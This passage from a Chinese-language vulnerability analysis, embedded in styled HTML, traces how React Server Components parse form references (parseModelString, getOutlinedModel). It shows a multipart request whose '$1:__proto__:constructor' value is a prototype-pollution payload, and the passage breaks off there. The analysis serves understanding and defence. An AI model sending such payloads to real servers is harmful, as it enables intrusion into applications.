Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$1:a:b</span></code><span leaf="">字符串，然后进入</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parseModelString</span></code><span leaf=""> 函数进行处理：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008979" class="rich_pages wxw-img" data-ratio="0.3726647000983284" data-type="png" data-w="1017" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=9fd21cd4&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFtf1icQxsJYxzYoQoCFhTvhI6PR7pHQrSbicSgvYnIYjFfuDxEpWDWD6A%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">在 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parseModelString</span></code><span leaf=""> 中，判断 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">value</span></code><span leaf=""> 是否以 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$</span></code><span leaf=""> 开头，并根据第二个字符的取值选择不同的处理方式，对于上述请求，将去掉首字符 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">$</span></code><span leaf=""> ，然后调用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getOutlinedModel</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008982" class="rich_pages wxw-img" data-ratio="0.3244047619047619" data-type="png" data-w="1008" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=591ea404&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFmDGxBQmRAEBMJMjUasMiahfwPC2EnSibgtKrcMyMnMS6tsDJ9C6G3Llw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">getOutlinedModel</span></code><span leaf=""> 函数中将传入的 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">reference</span></code><span leaf=""> （对应 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">value</span></code><span leaf=""> ）利用 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">:</span></code><span leaf=""> 进行分割，并尝试从生成的数组中提取第一个元素转换为整数赋值给 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">id</span></code><span leaf=""> ：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008984" class="rich_pages wxw-img" data-ratio="0.24634858812074" data-type="png" data-w="1027" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=1bf60a12&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFXyFtrLGrps2jDS7gib5iacyote5FRdoyNERiagSApJFJ4E7ibqqsspoClA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">接着提取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">id</span></code><span leaf="">对应的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Chunk</span></code><span leaf="">对象，并根据</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">status</span></code><span leaf="">取值来选择对应处理方式，这里</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">id=1</span></code><span leaf="">，因此将尝试获取</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">name=&#34;1&#34;</span></code><span leaf="">模块生成的</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Object</span></code><span leaf="">对象（涉及到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">Promise</span></code><span leaf="">异步处理等，调试过程从略），直到</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">status</span></code><span leaf="">变为</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">fulfilled</span></code><span leaf="">（加载完毕），遍历之前分割生成的数组，迭代获取</span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parentObject</span></code><span leaf=""> 对象：</span></p><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008988" class="rich_pages wxw-img" data-ratio="0.3522504892367906" data-type="png" data-w="1022" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=64d564fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icFt1u9j3bz8zG8z8d8bq1vY9uruebUn1N1yZjNwjpThONyL3fE4I7nJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">parentObject</span></code><span leaf=""> 最终取值为 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">foo</span></code><span leaf=""> ，其变化过程如下：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">$1:a:b</span><span leaf=""><br/></span><span leaf="">    -&gt; {&#34;a&#34;:{&#34;b&#34;:&#34;foo&#34;}}.a.b</span><span leaf=""><br/></span><span leaf="">        -&gt; foo</span></code></pre><figure style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;color: rgb(63, 63, 63);"><span leaf=""><img data-imgfileid="100008987" class="rich_pages wxw-img" data-ratio="0.16748285994123407" data-type="png" data-w="1021" style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);display: block;vertical-align: middle;max-width: 100%;height: auto;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;margin: 0.1em auto 0.5em;border-radius: 8px;" title="null" src="https://wechat2rss.xlab.app/img-proxy/?k=f9efe5e6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F9UsWg6ibZLAypIOic9iaicXObb1zibvotm6icF2NmgUnQ6UqOAb5TZWWSDZ3k3rSgKN1S6hGTHCgYSic0RMicuAvZ1oJJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));text-align: center;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 0.8em;color: rgb(136, 136, 136);"></figcaption></figure><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">这里传入的参数来自于用户请求可控，因此如果传入类似 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">__proto__</span></code><span leaf=""> ，那么就可能出现原型链污染。比如将请求变为：</span></p><pre style="box-sizing: border-box;border: 1px solid rgba(0, 0, 0, 0.04);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;margin: 10px 8px;color: rgb(201, 209, 217);background: rgb(13, 17, 23);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: &#34;Fira Code&#34;, Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.15px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: pre-wrap;"><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;1&#34;</span><span leaf=""><br/></span><span leaf="">[]</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp</span><span leaf=""><br/></span><span leaf="">Content-Disposition: form-data; name=&#34;0&#34;</span><span leaf=""><br/></span><span leaf="">{&#34;a&#34;:&#34;$1:__proto__:constructor&#34;}</span><span leaf=""><br/></span><span leaf="">------WebKitFormBoundaryMbWcGIXACxyQWJIp--</span></code></pre><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">最终将获取 </span><code style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: hsl(var(--border));font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 13.5px;text-align: 